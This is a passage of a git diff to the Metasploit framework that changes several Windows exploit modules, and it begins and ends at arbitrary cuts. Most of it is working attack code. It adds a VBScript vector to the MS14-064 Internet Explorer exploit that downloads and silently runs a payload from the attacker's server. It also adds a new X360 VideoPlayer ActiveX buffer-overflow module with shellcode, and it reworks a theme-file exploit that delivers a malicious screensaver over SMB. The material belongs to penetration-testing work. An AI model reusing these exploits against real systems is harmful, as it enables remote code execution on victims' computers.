"\x90" + my_payload - end + while my_payload.length % 4 != 0 + my_payload = "\x90" + my_payload end my_payload = Rex::Text.encode_base64(my_payload) diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index a0ff99e2d9c3..2ec948e382e4 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -109,7 +109,6 @@ def exploit_template(cli, target_info) "CardSpaceSigninHelper" => rand_text_alpha(5 + rand(5)), "get_code" => rand_text_alpha(5 + rand(5)), "code" => rand_text_alpha(5 + rand(5)), - "massage_array" => rand_text_alpha(5 + rand(5)), "required_claims" => rand_text_alpha(5 + rand(5)), "massage_array" => rand_text_alpha(5 + rand(5)), "massage_array_length" => rand_text_alpha(5 + rand(5)), diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index ad23315340ba..27aa2cee4683 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -11,17 +11,19 @@ class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::EXE include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, - 'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", + 'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", 'Description' => %q{ This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. - The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10. - For this module to be successful, powershell is required on the target machine. On - Internet Explorer versions using Protected Mode, the user has to manually allow - powershell.exe to execute in order to be compromised. + The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to + Windows 10, and there is no patch for Windows XP or older. + + Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other + newer Windows systems, the exploit will try using Powershell instead. }, 'License' => MSF_LICENSE, 'Author' => @@ -32,6 +34,7 @@ def initialize(info={}) 'Wesley Neelen', # security[at]forsec.nl 'GradiusX <francescomifsud[at]gmail.com>', 'b33f', # @FuzzySec + 'sinn3r' ], 'References' => [ @@ -46,14 +49,24 @@ def initialize(info={}) 'Platform' => 'win', 'Targets' => [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ + 'Windows XP', + { + 'os_name' => OperatingSystems::Match::WINDOWS_XP + } + ], + [ + 'Other Windows x86', + { + 'os_name' => OperatingSystems::Match::WINDOWS, + } + ] ], 'BrowserRequirements' => { :source => /script|headers/i, :ua_name => HttpClients::IE, - :os_name => /win/i, - :arch => 'x86', + :arch => ARCH_X86, :ua_ver => lambda { |ver| ver.to_i.between?(4, 10) } }, 'DefaultOptions' => @@ -260,20 +273,64 @@ def vbs_prepare() end - def get_html() + def vbs_vector(prep) + vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs" + gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif" + + payload_src = (datastore['SSL'] ? 'https' : 'http') + payload_src << '://' + payload_src << (datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']) + payload_src << ":#{datastore['SRVPORT']}#{get_module_resource}/#{gif_name}" + # I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue + # with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess. + %Q|<!doctype html> +<html> +<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" > +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> +<body> +<script language="VBScript"> +function runaaaa() +On Error Resume Next + +set xmlhttp = CreateObject("Microsoft.XMLHTTP") +xmlhttp.open "GET", "#{payload_src}", False +xmlhttp.send + +Set objFSO=CreateObject("Scripting.FileSystemObject") +folder = objFSO.GetSpecialFolder(2) +scriptName = folder + "\\#{vbs_name}" +Set objFile = objFSO.CreateTextFile(scriptName,True) +objFile.Write xmlhttp.responseText +objFile.Close + +set shell=createobject("Shell.Application") +shell.ShellExecute "wscript.exe", scriptName, "", "open", 0 + +end function +</script> +<script language="VBScript"> +#{prep} +</script> +</body> +</html> + | + end + + def powershell_vector(prep) if datastore['TRYUAC'] tryuac = 'runas' else tryuac = 'open' end + # Powershell was the first technique demonstrated publicly. + # On some Windows setups such as Windows 7 without a service pack, this works quite well. + # But other Windows setups you will get a prompt. payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true }) payl.slice! "powershell.exe " - prep = vbs_prepare() - html = %Q| -<!doctype html> + %Q|<!doctype html> <html> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" > <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> @@ -281,10 +338,8 @@ def get_html() <script language="VBScript"> function runaaaa() On Error Resume Next - set shell=createobject("Shell.Application") shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0 - end function </script> <script language="VBScript"> @@ -293,12 +348,38 @@ def get_html() </body> </html> | + end + def get_html + prep = vbs_prepare() + case get_target.name + when OperatingSystems::Match::WINDOWS_XP + return vbs_vector(prep) + else + return powershell_vector(prep) + end end def on_request_exploit(cli, request, target_info) - print_status("Requesting: #{request.uri}") - send_exploit_html(cli, get_html()) + case request.uri + when /\.gif/ + if get_target.name =~ OperatingSystems::Match::WINDOWS_XP + p = regenerate_payload(cli) + data = generate_payload_exe({:code => p.encoded}) + + # The default template uses \n, and wscript.exe isn't very happy about that. + # It should be \r\n . + vbs = Msf::Util::EXE.to_exe_vbs(data).gsub(/\x0a/, "\r\n") + + send_response(cli, vbs) + else + # The VBS technique is only for Windows XP. So if a non-XP system is requesting it, + # something is not right. + send_not_found(cli) + end + else + send_exploit_html(cli, get_html) + end end end diff --git a/modules/exploits/windows/browser/ntr_activex_check_bof.rb b/modules/exploits/windows/browser/ntr_activex_check_bof.rb index 89c443a102e6..846f4befde02 100644 --- a/modules/exploits/windows/browser/ntr_activex_check_bof.rb +++ b/modules/exploits/windows/browser/ntr_activex_check_bof.rb @@ -51,6 +51,7 @@ def initialize(info = {}) 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { @@ -59,10 +60,6 @@ def initialize(info = {}) 'BadChars' => "", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, - 'DefaultOptions' => - { - 'InitialAutoRunScript' => 'migrate -f' - }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb index c69e5fa1f020..9c195aa3325a 100644 --- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb +++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb @@ -48,6 +48,7 @@ def initialize(info = {}) 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { @@ -55,10 +56,6 @@ def initialize(info = {}) 'DisableNops' => true, 'BadChars' => "" }, - 'DefaultOptions' => - { - 'InitialAutoRunScript' => 'migrate -f' - }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb index f8a3ef63fae0..694e4d643193 100644 --- a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb +++ b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb @@ -56,17 +56,13 @@ def initialize(info = {}) 'DefaultOptions' => { 'EXITFUNC' => 'process', - + 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 948, 'DisableNops' => true, }, - 'DefaultOptions' => - { - 'InitialAutoRunScript' => 'migrate -f' - }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb new file mode 100644 index 000000000000..4e943e2e8b35 --- /dev/null +++ b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "X360 VideoPlayer ActiveX Control Buffer Overflow", + 'Description' => %q{ + This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the + X360 Software. By setting an overly long value to 'ConvertFile()',an attacker can overrun + a .data buffer to bypass ASLR/DEP and finally execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Rh0', # vulnerability discovery and exploit, all the hard work + 'juan vazquez' # msf module + ], + 'References' => + [ + ['EDB', '35948'], + ['URL', 'https://rh0dev.github.io/blog/2015/fun-with-info-leaks/'] + ], + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'PrependEncoder' => stack_adjust + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'BrowserRequirements' => + { + :source => /script|headers/i, + :clsid => "{4B3476C6-185A-4D19-BB09-718B565FA67B}", + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => Msf::HttpClients::IE, + :ua_ver => '10.0' + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 30 2015", + 'DefaultTarget' => 0)) + end + + def stack_adjust + adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + + adjust + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + case request.uri + when /exploit.js/ + print_status("Sending exploit.js...") + headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + send_exploit_html(cli, exploit_template(cli, target_info), headers) + when /sprayer.js/ + print_status("Sending sprayer.js...") + headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + send_exploit_html(cli, sprayer_template(cli, target_info), headers) + when /informer.js/ + print_status("Sending informer.js...") + headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + send_exploit_html(cli, informer_template(cli, target_info), headers) + when /rop_builder.js/ + print_status("Sending rop_builder.js...") + headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + send_exploit_html(cli, rop_builder_template(cli, target_info), headers) + else + print_status("Sending main.html...") + headers = {'Pragma' => 'no-cache', 'Content-Type'=>'text/html'} + send_exploit_html(cli, main_template(cli, target_info), headers) + end + end + + def main_template(cli, target_info) + path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'main.html') + template = '' + File.open(path, 'rb') { |f| template = strip_comments(f.read) } + + return template, binding() + end + + def exploit_template(cli, target_info) + shellcode = Rex::Text.to_hex(get_payload(cli, target_info)) + + path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'exploit.js') + template = '' + File.open(path, 'rb') { |f| template = strip_comments(f.read) } + + return template, binding() + end + + def sprayer_template(cli, target_info) + path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'sprayer.js') + template = '' + File.open(path, 'rb') { |f| template = strip_comments(f.read) } + + return template, binding() + end + + def informer_template(cli, target_info) + path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'informer.js') + template = '' + File.open(path, 'rb') { |f| template = strip_comments(f.read) } + + return template, binding() + end + + def rop_builder_template(cli, target_info) + path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'rop_builder.js') + template = '' + File.open(path, 'rb') { |f| template = strip_comments(f.read) } + + return template, binding() + end + + def strip_comments(input) + input.gsub(/\/\/.*$/, '') + end + +end diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index db8ba33450be..e47f5de03090 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE - include Msf::Exploit::Remote::SMBServer + include Msf::Exploit::Remote::SMB::Server::Share def initialize(info={}) super(update_info(info, @@ -28,7 +28,8 @@ def initialize(info={}) 'Author' => [ 'Eduardo Prado', # Vulnerability discovery - 'juan vazquez' # Metasploit module + 'juan vazquez', # Metasploit module + 'Matthew Hall <hallm@sec-1.com>' # Metasploit module refactored to use Msf::Exploit::Remote::SMB::Server::Share ], 'References' => [ @@ -60,27 +61,18 @@ def initialize(info={}) register_options( [ OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']), - OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ]) + OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr']) ], self.class) - end - def exploit + deregister_options('FILE_CONTENTS') + end - if (datastore['UNCPATH']) - @unc = datastore['UNCPATH'] - print_status("Remember to share the malicious EXE payload as #{@unc}") - else - print_status("Generating our malicious executable...") - @exe = generate_payload_exe - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] - @share = rand_text_alpha(5 + rand(5)) - @scr_file = "#{rand_text_alpha(5 + rand(5))}.scr" - @hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i) - @unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}" - end + def primer + self.file_contents = generate_payload_exe + print_status("Malicious SCR available on #{unc}...") - print_status("Creating '#{datastore['FILENAME']}' file ...") # Default Windows XP / 2003 theme modified + print_status("Creating '#{datastore['FILENAME']}' file ...") theme = <<-EOF ; Copyright (c) Microsoft Corp. 1995-2001 @@ -112,322 +104,12 @@ def exploit ScreenSaveActive=0 [boot] -SCRNSAVE.EXE=#{@unc} +SCRNSAVE.EXE=#{unc} [MasterThemeSelector] MTSM=DABJDKT EOF file_create(theme) - print_good("Let your victim open #{datastore['FILENAME']}") - - if not datastore['UNCPATH'] - print_status("Ready to deliver your payload on #{@unc}") - super - end - - end - - # TODO: these smb_* methods should be moved up to the SMBServer mixin - # development and test on progress - - def smb_cmd_dispatch(cmd, c, buff) - smb = @state[c] - vprint_status("Received command #{cmd} from #{smb[:name]}") - - pkt = CONST::SMB_BASE_PKT.make_struct - pkt.from_s(buff) - #Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - - case cmd - when CONST::SMB_COM_NEGOTIATE - smb_cmd_negotiate(c, buff) - when CONST::SMB_COM_SESSION_SETUP_ANDX - wordcount = pkt['Payload']['SMB'].v['WordCount'] - if wordcount == 0x0D # It's the case for Share Security Mode sessions - smb_cmd_session_setup(c, buff) - else - vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ") - smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) - end - when CONST::SMB_COM_TRANSACTION2 - smb_cmd_trans(c, buff) - when CONST::SMB_COM_NT_CREATE_ANDX - smb_cmd_create(c, buff) - when CONST::SMB_COM_READ_ANDX - smb_cmd_read(c, buff) - else - vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})") - smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) - end - end - - - def smb_cmd_negotiate(c, buff) - pkt = CONST::SMB_NEG_PKT.make_struct - pkt.from_s(buff) - - dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) - - dialect = dialects.index("NT LM 0.12") || dialects.length-1 - - pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct - smb_set_defaults(c, pkt) - - time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 17 - pkt['Payload'].v['Dialect'] = dialect - pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode - pkt['Payload'].v['MaxMPX'] = 50 - pkt['Payload'].v['MaxVCS'] = 1 - pkt['Payload'].v['MaxBuff'] = 4356 - pkt['Payload'].v['MaxRaw'] = 65536 - pkt['Payload'].v['SystemTimeLow'] = time_lo - pkt['Payload'].v['SystemTimeHigh'] = time_hi - pkt['Payload'].v['ServerTimeZone'] = 0x0 - pkt['Payload'].v['SessionKey'] = 0 - pkt['Payload'].v['Capabilities'] = 0x80f3fd - pkt['Payload'].v['KeyLength'] = 8 - pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8) - - c.put(pkt.to_s) - end - - def smb_cmd_session_setup(c, buff) - - pkt = CONST::SMB_SETUP_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 3 - pkt['Payload'].v['AndX'] = 0x75 - pkt['Payload'].v['Reserved1'] = 00 - pkt['Payload'].v['AndXOffset'] = 96 - pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest - pkt['Payload'].v['Payload'] = - Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature - Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature - Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature - tree_connect_response = "" - tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount - tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand - tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved - tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset - tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support - tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount - tree_connect_response << "A:\x00" # Service - tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters - # Fix the Netbios Session Service Message Length - # to have into account the tree_connect_response, - # need to do this because there isn't support for - # AndX still - my_pkt = pkt.to_s + tree_connect_response - original_length = my_pkt[2, 2].unpack("n").first - original_length = original_length + tree_connect_response.length - my_pkt[2, 2] = [original_length].pack("n") - c.put(my_pkt) - end - - def smb_cmd_create(c, buff) - pkt = CONST::SMB_CREATE_PKT.make_struct - pkt.from_s(buff) - - if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/ - pkt = CONST::SMB_CREATE_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 42 - pkt['Payload'].v['AndX'] = 0xff # no further commands - pkt['Payload'].v['OpLock'] = 0x2 - # No need to track fid here, we're just offering one file - pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0 - pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened - pkt['Payload'].v['CreateTimeLow'] = @lo - pkt['Payload'].v['CreateTimeHigh'] = @hi - pkt['Payload'].v['AccessTimeLow'] = @lo - pkt['Payload'].v['AccessTimeHigh'] = @hi - pkt['Payload'].v['WriteTimeLow'] = @lo - pkt['Payload'].v['WriteTimeHigh'] = @hi - pkt['Payload'].v['ChangeTimeLow'] = @lo - pkt['Payload'].v['ChangeTimeHigh'] = @hi - pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file - pkt['Payload'].v['AllocLow'] = 0x100000 - pkt['Payload'].v['AllocHigh'] = 0 - pkt['Payload'].v['EOFLow'] = @exe.length - pkt['Payload'].v['EOFHigh'] = 0 - pkt['Payload'].v['FileType'] = 0 - pkt['Payload'].v['IPCState'] = 0x7 - pkt['Payload'].v['IsDirectory'] = 0 - c.put(pkt.to_s) - else - pkt = CONST::SMB_CREATE_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX - pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - c.put(pkt.to_s) - end - - end - - def smb_cmd_read(c, buff) - pkt = CONST::SMB_READ_PKT.make_struct - pkt.from_s(buff) - - offset = pkt['Payload'].v['Offset'] - length = pkt['Payload'].v['MaxCountLow'] - - pkt = CONST::SMB_READ_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 12 - pkt['Payload'].v['AndX'] = 0xff # no more commands - pkt['Payload'].v['Remaining'] = 0xffff - pkt['Payload'].v['DataLenLow'] = length - pkt['Payload'].v['DataOffset'] = 59 - pkt['Payload'].v['DataLenHigh'] = 0 - pkt['Payload'].v['Reserved3'] = 0 - pkt['Payload'].v['Reserved4'] = 6 - pkt['Payload'].v['ByteCount'] = length - pkt['Payload'].v['Payload'] = @exe[offset, length] - - c.put(pkt.to_s) - end - - def smb_cmd_trans(c, buff) - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - sub_command = pkt['Payload'].v['SetupData'].unpack("v").first - case sub_command - when 0x5 # QUERY_PATH_INFO - smb_cmd_trans_query_path_info(c, buff) - when 0x1 # FIND_FIRST2 - smb_cmd_trans_find_first2(c, buff) - else - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND - c.put(pkt.to_s) - end - end - - def smb_cmd_trans_query_path_info(c, buff) - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - if pkt['Payload'].v['SetupData'].length < 16 - # if QUERY_PATH_INFO_PARAMETERS doesn't include a file name, - # return a Directory answer - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 2 - pkt['Payload'].v['DataCountTotal'] = 40 - pkt['Payload'].v['ParamCount'] = 2 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 40 - pkt['Payload'].v['DataOffset'] = 60 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # QUERY_PATH_INFO Parameters - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [@lo, @hi].pack("VV") + # Created - [@lo, @hi].pack("VV") + # Last Access - [@lo, @hi].pack("VV") + # Last Write - [@lo, @hi].pack("VV") + # Change - "\x10\x00\x00\x00" + # File attributes => directory - "\x00\x00\x00\x00" # Unknown - c.put(pkt.to_s) - - else - # if QUERY_PATH_INFO_PARAMETERS includes a file name, - # returns an object name not found error - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - c.put(pkt.to_s) - - end - end - - def smb_cmd_trans_find_first2(c, buff) - - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - file_name = Rex::Text.to_unicode(@scr_file) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 10 - pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length - pkt['Payload'].v['ParamCount'] = 10 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 94 + file_name.length - pkt['Payload'].v['DataOffset'] = 68 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # FIND_FIRST2 Parameters - "\xfd\xff" + # Search ID - "\x01\x00" + # Search count - "\x01\x00" + # End Of Search - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Last Name Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [94 + file_name.length].pack("V") + # Next Entry Offset - "\x00\x00\x00\x00" + # File Index - [@lo, @hi].pack("VV") + # Created - [@lo, @hi].pack("VV") + # Last Access - [@lo, @hi].pack("VV") + # Last Write - [@lo, @hi].pack("VV") + # Change - [@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File - "\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size - "\x80\x00\x00\x00" + # File attributes => directory - [file_name.length].pack("V") + # File name len - "\x00\x00\x00\x00" + # EA List Lenght - "\x00" + # Short file lenght - "\x00" + # Reserved - ("\x00" * 24) + - file_name - - c.put(pkt.to_s) end end - diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index 6e917aeea411..e82552a0924d 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -40,17 +40,14 @@ def initialize(info = {}) 'Arch' => ARCH_JAVA, 'DefaultOptions' => { - 'SHELL' => 'cmd.exe' + 'SHELL' => 'cmd.exe', + 'SSL' => true }, 'Targets' => [ [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] ], 'DefaultTarget' => 0, - 'DefaultOptions' => - { - 'SSL' => true, - }, 'DisclosureDate' => 'Sep 09 2013')) register_options( diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb index 41c2e3d4d951..11ae035e257d 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -40,17 +40,14 @@ def initialize(info = {}) 'Arch' => ARCH_JAVA, 'DefaultOptions' => { - 'SHELL' => 'cmd.exe' + 'SHELL' => 'cmd.exe', + 'SSL' => true }, 'Targets' => [ [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] ], 'DefaultTarget' => 0, - 'DefaultOptions' => - { - 'SSL' => true, - }, 'DisclosureDate' => 'Sep 09 2013')) register_options( diff --git a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb index bdfe648cff7d..edb23e8f1d1f 100644 --- a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb +++ b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb @@ -68,7 +68,7 @@ def check return Exploit::CheckCode::Safe end - handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING') return Exploit::CheckCode::Safe unless handle session.railgun.kernel32.CloseHandle(handle) @@ -103,7 +103,7 @@ def exploit fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end - handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING') if handle.nil? fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device") end diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb index 